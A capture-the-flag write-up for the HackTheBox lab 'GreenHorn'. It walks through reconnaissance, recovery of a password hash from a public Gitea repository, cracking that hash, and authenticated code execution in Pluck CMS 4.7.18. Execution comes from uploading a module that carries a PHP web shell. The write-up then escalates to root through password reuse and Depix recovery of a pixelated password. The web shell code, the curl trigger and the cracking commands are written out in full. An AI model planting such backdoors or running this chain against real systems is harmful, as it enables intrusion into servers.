Reconnaissance
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Welcome to GreenHorn ! - GreenHorn
|_Requested resource was http://greenhorn.htb/?file=welcome-to-greenhorn
|_http-generator: pluck 4.7.18
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=a369dd4c46df0c66; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=orpBKwMvOqd1cNRHXQEQ4_fni7o6MTcyMTUwMjYxMjU5NTk0MTM2OA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 20 Jul 2024 19:10:12 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=8cf870229824eefc; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=zwQfgIWzHlV59NgVrcbOx1dQHn06MTcyMTUwMjYxNzg5NzA5MDQ5Mw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 20 Jul 2024 19:10:17 GMT
|_ Content-Length: 0
The nmap scan found three open ports, 22 for SSH and 80
and 3000
as HTTP with 3000 being Gitea
based on the cookie i_like_gitea.
Port 80
redirects to greenhorn.htb
and has two entries in /robots.txt
. Before proceeding I add the domain to my /etc/hosts
file.
HTTP - 80
The webpage on http://greenhorn.htb
seems to be powered by Pluck CMS based on the footer. The HTML source reveals the version 4.7.18 and there is an authenticated remote code exectution.
Only two posts are available and they do not provide much information besides the fact that there may be a new junior member. After trying some default passwords on /login.php
I move on to Gitea.
HTTP - 3000
Browsing to port 3000 shows a Gitea installation and the Explore functionality (/explore
) is not deactivated, so I can check out if there are any public repositories and there is on from the organisation GreenAdmin called GreenHorn. It looks like they’ve pushed their source code for the Pluck CMS into their own repository.
Since PluckCMS is open-source the code is available on Github I retrieve a copy from there and one from Gitea to compare. There’s quite a list of files that differ from each other but only a few that are only available in GreenHorn.
# Clone Pluck into pluck
git clone https://github.com/pluck-cms/pluck pluck
# Clone GreenHorn into greenhorn
git clone http://greenhorn.htb:3000/GreenAdmin/GreenHorn greenhorn
# Differences between the folders
diff --brief --recursive greenhorn pluck
--- SNIP ---
Only in greenhorn/data/settings: options.php
Only in greenhorn/data/settings: pages
Only in greenhorn/data/settings: pass.php
Only in greenhorn/data/settings: themepref.php
Only in greenhorn/data/settings: token.php
Only in greenhorn/data/settings: update_lastcheck.php
--- SNIP ---
The files pass.php
and token.php
sound especially interesting because they may contain credentials and that’s what I am after for the RCE on port 80. Both files contain a single variable with a 128 character long string, possibly a SHA512
hash.
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
<?php $token = '65c1e5cf86b4d727962672211b91924b828a0c05ece3954c75e3befa6b361fa3eb28c407f7101bc4eae2c604c96c641575c7fe82dbdc6ce0cf7d4a006f53bac7'; ?>
Searching the code for occurences of $ww
shows a hit in login.php
. The pass.php
is loaded with require_once and later compared against the sha512
hash of the password that was provided during the login.
<?php
--- SNIP ---
//If pluck is installed:
else {
require_once 'data/settings/pass.php';
//Check if we're already logged in. First, get the token.
require_once 'data/settings/token.php';
if (isset($_SESSION[$token]) && ($_SESSION[$token] == 'pluck_loggedin')) {
header('Location: admin.php');
exit;
}
//Include header-file.
$titelkop = $lang['login']['title'];
include_once 'data/inc/header2.php';
//If password has been sent, and the bogus input is empty, MD5-encrypt password.
if (isset($_POST['submit']) && empty($_POST['bogus'])) {
$pass = hash('sha512', $cont1);
--- SNIP ---
//If password is correct, save session-cookie.
if (($pass == $ww) && (!isset($login_error))) {
$_SESSION[$token] = 'pluck_loggedin';
//Delete loginattempt file, if it exists.
if (file_exists(LOGIN_ATTEMPT_FILE))
unlink(LOGIN_ATTEMPT_FILE);
//Display success message.
show_error($lang['login']['correct'], 3);
if (isset($_SESSION['pluck_before']))
redirect($_SESSION['pluck_before'], 1);
else
redirect('admin.php?action=start', 1);
include_once 'data/inc/footer.php';
exit;
}
//If password is not correct; display error, and store attempt in loginattempt file for brute-force protection.
elseif (($pass != $ww) && (!isset($login_error))) {
$login_error = show_error($lang['login']['incorrect'], 1, true);
//If a loginattempt file already exists, update tries variable.
if (file_exists(LOGIN_ATTEMPT_FILE))
$tries++;
else
$tries = 1;
//Get current timestamp and save file.
save_file (LOGIN_ATTEMPT_FILE, array('tries' => $tries, 'timestamp' => time()));
}
}
?>
--- SNIP ---
Pasting the hash from $ww
into a file and running john with the rockyou wordlist reveals the password iloveyou1
after waiting for a few seconds.
john --format=Raw-SHA512 --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1 (?)
--- SNIP ---
Execution
With a valid password I am able to login and can proceed with creating a malicious module to achieve code execution. Pluck itself provides a sample repository, but basically a plugin is just a (set) of files that are zipped together. I’ll just add a simple backdoor to ryuki.php
, zip the file and upload it as new module.
cat ryuki.php
<?php
if(isset($_REQUEST['9e6e246c78abe1e6e94be598f6b6ab1a'])){
$cmd = ($_REQUEST['9e6e246c78abe1e6e94be598f6b6ab1a']);
system($cmd);
die;
}
?>
zip ryuki.zip ryuki.php
adding: ryuki.php (deflated 43%)
Navigating to options ⇒ manage modules ⇒ Install a module.. I can upload my created module and will receive The module has been installed successfully. if everything worked out.
The module won’t show up in the overview because I did not provide the necessary information within a function called simple_info
but browsing to http://greenhorn.htb/data/modules/ryuki/ryuki.php
shows a blank page oposed to a 404 error. Adding my command as value to the parameter 9e6e246c78abe1e6e94be598f6b6ab1a
confirms the RCE.
curl "http://greenhorn.htb/data/modules/ryuki/ryuki.php?9e6e246c78abe1e6e94be598f6b6ab1a=whoami"
www-data
Hint
The modules on the box are purged in a regular interval so quickly upgrading to a reverse shell is advised.
Within the shell as www-data
I check for users in /etc/passwd
having a login shell configured and there are three hits: root, git and junior.
Privilege Escalation
Apparently junior
re-used the password for the blog, iloveyou1
, on the host, letting me take over the account with su junior
with access to the first flag.
The configuration option PasswordAuthentication no
within /etc/ssh/sshd_config
prevented the login via SSH, but that can be circumvented by using a SSH key. Creating a new key and adding the public key to /home/junior/.ssh/authorized_keys
lets me login via SSH.
The account junior is not allowed to use sudo
but there’s a PDF called Using OpenVAS.pdf within the home directory. I transfer that to my host via scp.
scp -i ~/.ssh/ctf junior@greenhorn.htb:'Using OpenVAS.pdf' .
Using OpenVAS.pdf
The PDF contains instructions on how to run OpenVAS and mentions that this is currently limited to the root account. It also provides a password, presumably for the same account. Unfortunately it’s pixelated to make it unreadable.
Using pixelation
to redact sensitive data is not advisable and a simple black box should be used instead. There are multiple tools that try to recover readable text from a pixelated image, like unredacter or depix.
First of all I extract the pixelated password from the PDF with a simple drag and drop since its just an embedded image. Next I clone the repository for depix
. It comes with multiple references in images/searchimages
containing De Bruijn sequences with expected characters. They are used to calculate the likely matches.
git clone https://github.com/spipm/Depix && cd Depix
python3 depix.py \
-p extracted.png \
-s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-07-21 21:08:11,655 - Loading pixelated image from ../image.SV57Q2.png
2024-07-21 21:08:11,680 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-07-21 21:08:12,801 - Finding color rectangles from pixelated space
2024-07-21 21:08:12,802 - Found 252 same color rectangles
2024-07-21 21:08:12,803 - 190 rectangles left after moot filter
2024-07-21 21:08:12,803 - Found 1 different rectangle sizes
2024-07-21 21:08:12,803 - Finding matches in search image
2024-07-21 21:08:12,803 - Scanning 190 blocks with size (5, 5)
2024-07-21 21:08:12,843 - Scanning in searchImage: 0/1674
2024-07-21 21:09:31,463 - Removing blocks with no matches
2024-07-21 21:09:31,464 - Splitting single matches and multiple matches
2024-07-21 21:09:31,471 - [16 straight matches | 174 multiple matches]
2024-07-21 21:09:31,471 - Trying geometrical matches on single-match squares
2024-07-21 21:09:31,953 - [29 straight matches | 161 multiple matches]
2024-07-21 21:09:31,953 - Trying another pass on geometrical matches
2024-07-21 21:09:32,382 - [41 straight matches | 149 multiple matches]
2024-07-21 21:09:32,382 - Writing single match results to output
2024-07-21 21:09:32,383 - Writing average results for multiple matches to output
2024-07-21 21:09:36,746 - Saving output image to: output.png
Running the script takes some time and eventually a file called output.png
is created within the current working directory. It does contain the reconstructed text sidefromsidetheothersidesidefromsidetheotherside
.
Using the password I can escalate to root
and read the second flag.
Hint
If drag & drop is not possible to extract the image, software can also be used.
poppler-utils
providespdfimages
that can be used to extract the image withpdfimages -all <input.pdf> <output_prefix>
Attack Path
flowchart TD subgraph "Inital Access" A(Access to Gitea) -->|Source Code Review| B(Hashed Credentials) B -->|Bruteforce to recover credentials| C(Access to Pluck CMS) end subgraph "Execution" C -->|Upload Malicious Module| D(Shell as www-data) end subgraph "Privilege Escalation" D -->|Password Re-Use| E(Shell as junior) E -->|Recover pixelated password| F(Shell as root) end